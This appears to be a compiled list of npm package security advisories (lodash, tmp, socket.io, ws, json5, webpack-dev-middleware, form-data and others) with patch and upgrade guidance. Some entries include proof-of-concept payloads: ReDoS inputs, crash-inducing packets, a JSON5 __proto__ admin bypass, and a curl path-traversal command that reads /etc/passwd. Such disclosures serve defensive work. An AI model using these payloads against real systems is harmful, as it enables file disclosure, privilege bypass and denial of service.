Version Details and Security Vulnerabilities

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

karma prior to version 6.3.14 contains a cross-site scripting vulnerability.

Karma before 6.3.16 is vulnerable to Open Redirect due to missing validation of the return_url query parameter.

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

Versions of lodash before 4.17.11 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.11 or later.

Versions of lodash before 4.17.5 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via __proto__ causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.5 or later.

Versions of lodash before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep allows a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.12 or later.

Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.

This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.

Impact

Default file permissions for log files created by the file, fileSync and dateFile appenders are world-readable (in unix). This could cause problems if log files contain sensitive information. This would affect any users that have not supplied their own permissions for the files via the mode parameter in the config.

Patches

Fixed by:

• https://github.com/log4js-node/log4js-node/pull/1141
• https://github.com/log4js-node/streamroller/pull/87

Released to NPM in log4js@6.4.0

Workarounds

Every version of log4js published allows passing the mode parameter to the configuration of file appenders, see the documentation for details.

References

Thanks to ranjit-git for raising the issue, and to @lamweili for fixing the problem.

For more information

If you have any questions or comments about this advisory:

• Open an issue in logj4s-node
• Ask a question in the slack channel
• Email us at gareth.nomiddlename@gmail.com

Impact

A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.

node:events:502
    throw err; // Unhandled 'error' event
    ^

Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
    at new NodeError (node:internal/errors:405:5)
    at Socket.emit (node:events:500:17)
    at /myapp/node_modules/socket.io/lib/socket.js:531:14
    at process.processTicksAndRejections (node:internal/process/task_queues:77:11) {
  code: 'ERR_UNHANDLED_ERROR',
  context: undefined
}

Affected versions

| Version range | Needs minor update? | |------------------|------------------------------------------------| | 4.6.2...latest | Nothing to do | | 3.0.0...4.6.1 | Please upgrade to socket.io@4.6.2 (at least) | | 2.3.0...2.5.0 | Please upgrade to socket.io@2.5.1 |

Patches

This issue is fixed by https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115, included in socket.io@4.6.2 (released in May 2023).

The fix was backported in the 2.x branch today: https://github.com/socketio/socket.io/commit/d30630ba10562bf987f4d2b42440fc41a828119c

Workarounds

As a workaround for the affected versions of the socket.io package, you can attach a listener for the "error" event:

io.on("connection", (socket) => {
  socket.on("error", () => {
    // ...
  });
});

For more information

If you have any questions or comments about this advisory:

• Open a discussion here

Thanks a lot to Paul Taylor for the responsible disclosure.

References

• https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115
• https://github.com/socketio/socket.io/commit/d30630ba10562bf987f4d2b42440fc41a828119c

The package socket.io before 2.4.0 are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.

Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.

Impact

A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.

events.js:292
      throw er; // Unhandled 'error' event
      ^

Error: read ECONNRESET
    at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
    at emitErrorNT (internal/streams/destroy.js:106:8)
    at emitErrorCloseNT (internal/streams/destroy.js:74:3)
    at processTicksAndRejections (internal/process/task_queues.js:80:21) {
  errno: -104,
  code: 'ECONNRESET',
  syscall: 'read'
}

This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.

Patches

A fix has been released today (2022/11/20):

| Version range | Fixed version | |-------------------|---------------| | engine.io@3.x.y | 3.6.1 | | engine.io@6.x.y | 6.2.1 |

For socket.io users:

| Version range | engine.io version | Needs minor update? | |-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------| | socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient | | socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x | | socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x | | socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x | | socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x | | socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x | | socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) | | socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) | | socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient | | socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |

Workarounds

There is no known workaround except upgrading to a safe version.

For more information

If you have any questions or comments about this advisory:

• Open an issue in engine.io

Thanks to Jonathan Neve for the responsible disclosure.

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Affected versions of ws do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.

Recommendation

Update to version 1.1.1 or later. Alternatively, set the maxpayload option for the ws server to a value smaller than 256MB.

Affected versions of negotiator are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted Accept-Language header value.

Recommendation

Update to version 0.6.1 or later.

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.

PoC

async function exploit() {
    const parseuri = require("parse-uri");
    // This input is designed to cause excessive backtracking in the regex
    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
    const result = await parseuri(craftedInput);
    }
await exploit();

Affected versions of parsejson are vulnerable to a regular expression denial of service when parsing untrusted user input.

Recommendation

The parsejson package has not been functionally updated since it was initially released.

Additionally, it provides functionality which is natively included in Node.js, and therefore the native JSON.parse() should be used, for both performance and security reasons.

The xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.

This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

Impact

A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.

TypeError: Cannot convert object to primitive value
       at Socket.emit (node:events:507:25)
       at .../node_modules/socket.io/lib/socket.js:531:14

Patches

A fix has been released today (2023/05/22):

• https://github.com/socketio/socket.io-parser/commit/3b78117bf6ba7e99d7a5cfc1ba54d0477554a7f3, included in socket.io-parser@4.2.3
• https://github.com/socketio/socket.io-parser/commit/2dc3c92622dad113b8676be06f23b1ed46b02ced, included in socket.io-parser@3.4.3

Another fix has been released for the 3.3.x branch:

• https://github.com/socketio/socket.io-parser/commit/ee006607495eca4ec7262ad080dd3a91439a5ba4, included in `socket.io-parser@3.3.4

| socket.io version | socket.io-parser version | Needs minor update? | |---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------| | 4.5.2...latest | ~4.2.0 (ref) | npm audit fix should be sufficient | | 4.1.3...4.5.1 | ~4.1.1 (ref) | Please upgrade to socket.io@4.6.x | | 3.0.5...4.1.2 | ~4.0.3 (ref) | Please upgrade to socket.io@4.6.x | | 3.0.0...3.0.4 | ~4.0.1 (ref) | Please upgrade to socket.io@4.6.x | | 2.3.0...2.5.0 | ~3.4.0 (ref) | npm audit fix should be sufficient |

Workarounds

There is no known workaround except upgrading to a safe version.

For more information

If you have any questions or comments about this advisory:

• Open a discussion here

Thanks to @rafax00 for the responsible disclosure.

Due to improper type validation in the socket.io-parser library (which is used by the socket.io and socket.io-client packages to encode and decode Socket.IO packets), it is possible to overwrite the _placeholder object which allows an attacker to place references to functions at arbitrary places in the resulting query object.

Example:

const decoder = new Decoder();

decoder.on("decoded", (packet) => {
 console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})

decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));

This bubbles up in the socket.io package:

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // here, "val" could be a function instead of a buffer
 });
});

:warning: IMPORTANT NOTE :warning:

You need to make sure that the payload that you received from the client is actually a Buffer object:

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 if (!Buffer.isBuffer(val)) {
 socket.disconnect();
 return;
 }
 // ...
 });
});

If that's already the case, then you are not impacted by this issue, and there is no way an attacker could make your server crash (or escalate privileges, ...).

Example of values that could be sent by a malicious user:

• a number that is out of bounds

Sample packet: 451-["hello",{"_placeholder":true,"num":10}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is `undefined`
 });
});

• a value that is not a number, like undefined

Sample packet: 451-["hello",{"_placeholder":true,"num":undefined}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is `undefined`
 });
});

• a string that is part of the prototype of Array, like "push"

Sample packet: 451-["hello",{"_placeholder":true,"num":"push"}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is a reference to the "push" function
 });
});

• a string that is part of the prototype of Object, like "hasOwnProperty"

Sample packet: 451-["hello",{"_placeholder":true,"num":"hasOwnProperty"}]

io.on("connection", (socket) => {
 socket.on("hello", (val) => {
 // val is a reference to the "hasOwnProperty" function
 });
});

This should be fixed by:

• https://github.com/socketio/socket.io-parser/commit/b5d0cb7dc56a0601a09b056beaeeb0e43b160050, included in socket.io-parser@4.2.1
• https://github.com/socketio/socket.io-parser/commit/b559f050ee02bd90bd853b9823f8de7fa94a80d4, included in socket.io-parser@4.0.5
• https://github.com/socketio/socket.io-parser/commit/04d23cecafe1b859fb03e0cbf6ba3b74dff56d14, included in socket.io-parser@3.4.2
• https://github.com/socketio/socket.io-parser/commit/fb21e422fc193b34347395a33e0f625bebc09983, included in socket.io-parser@3.3.3

Dependency analysis for the socket.io package

| socket.io version | socket.io-parser version | Covered? | |---------------------|---------------------------------------------------------------------------------------------------------|------------------------| | 4.5.2...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: | | 4.1.3...4.5.1 | ~4.0.4 (ref) | Yes :heavy_check_mark: | | 3.0.5...4.1.2 | ~4.0.3 (ref) | Yes :heavy_check_mark: | | 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: | | 2.3.0...2.5.0 | ~3.4.0 (ref) | Yes :heavy_check_mark: |

Dependency analysis for the socket.io-client package

| socket.io-client version | socket.io-parser version | Covered? | |----------------------------|----------------------------------------------------------------------------------------------------------------|------------------------------------| | 4.5.0...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: | | 4.3.0...4.4.1 | ~4.1.1 (ref) | No, but the impact is very limited | | 3.1.0...4.2.0 | ~4.0.4 (ref) | Yes :heavy_check_mark: | | 3.0.5 | ~4.0.3 (ref) | Yes :heavy_check_mark: | | 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: | | 2.2.0...2.5.0 | ~3.3.0 (ref) | Yes :heavy_check_mark: |

The socket.io-parser npm package before versions 3.3.2 and 3.4.1 allows attackers to cause a denial of service (memory consumption) via a large packet because a concatenation approach is used.

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");

   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);

   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}

await exploit();

Versions of braces prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.

Recommendation

Upgrade to version 2.3.1 or higher.

The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.

A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.

A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.

Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.

As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.

This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.

Recommendation

Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.

A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.

Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.

Recommendation

Update to version 1.10.0 or later.

shelljs is vulnerable to Improper Privilege Management

Impact

Output from the synchronous version of shell.exec() may be visible to other users on the same system. You may be affected if you execute shell.exec() in multi-user Mac, Linux, or WSL environments, or if you execute shell.exec() as the root user.

Other shelljs functions (including the asynchronous version of shell.exec()) are not impacted.

Patches

Patched in shelljs 0.8.5

Workarounds

Recommended action is to upgrade to 0.8.5.

References

https://huntr.dev/bounties/50996581-c08e-4eed-a90e-c0bac082679c/

For more information

If you have any questions or comments about this advisory:

• Ask at https://github.com/shelljs/shelljs/issues/1058
• Open an issue at https://github.com/shelljs/shelljs/issues/new

Prototype pollution vulnerability in function parseQuery in parseQuery.js in webpack loader-utils prior to version 2.0.3 via the name variable in parseQuery.js.

The parse method of the JSON5 library before and including version 2.2.1 does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object.

This vulnerability pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.

Impact

This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.

Mitigation

This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.

Details

Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using JSON5.parse, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:

const JSON5 = require('json5');

const doSomethingDangerous = (props) => {
  if (props.isAdmin) {
    console.log('Doing dangerous thing as admin.');
  } else {
    console.log('Doing dangerous thing as user.');
  }
};

const secCheckKeysSet = (obj, searchKeys) => {
  let searchKeyFound = false;
  Object.keys(obj).forEach((key) => {
    if (searchKeys.indexOf(key) > -1) {
      searchKeyFound = true;
    }
  });
  return searchKeyFound;
};

const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
  throw new Error('Forbidden...');
}

If the user attempts to set the isAdmin key, their request will be rejected:

const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props);
} else {
  throw new Error('Forbidden...'); // Error: Forbidden...
}

However, users can instead set the __proto__ key to {"isAdmin": true}. JSON5 will parse this key and will set the isAdmin key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:

const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
  throw new Error('Forbidden...');
}

Summary

The webpack-dev-middleware middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine.

Details

The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory memfs filesystem. If writeToDisk configuration option is set to true, the physical filesystem is used: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21

The getFilenameFromUrl method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the unsecaped path suffix is appended to the outputPath: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82 As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use %2e and %2f sequences to perform path traversal attack.

PoC

A blank project can be created containing the following configuration file webpack.config.js: module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };

When started, it is possible to access any local file, e.g. /etc/passwd: $ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

Impact

The developers using webpack-dev-server or webpack-dev-middleware are affected by the issue. When the project is started, an attacker might access any file on the developer's machine and exfiltrate the content (e.g. password, configuration files, private source code, ...).

If the development server is listening on a public IP address (or 0.0.0.0), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port).

If the server allows access from third-party domains (CORS, Allow-Access-Origin: * ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files.

Recommendation

The URL should be unescaped and normalized before any further processing.

@rkesters/gnuplot is an easy to use node module to draw charts using gnuplot and ps2pdf. The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the .end() method.

The request package through 2.88.2 for Node.js and the @cypress/request package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: The request package is no longer supported by the maintainer.

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

1. can observe other values produced by Math.random in the target application, and
2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

• Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
• Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.

A buffer over-read vulnerability exists in bl <4.0.3, <3.0.1, <2.2.1, and <1.2.3 which could allow an attacker to supply user input (even typed) that if it ends up in consume() argument and can become negative, the BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.

Versions of underscore.string prior to 3.3.5 are vulnerable to Regular Expression Denial of Service (ReDoS).

The function unescapeHTML is vulnerable to ReDoS due to an overly-broad regex. The slowdown is approximately 2s for 50,000 characters but grows exponentially with larger inputs.

Recommendation

Upgrade to version 3.3.5 or higher.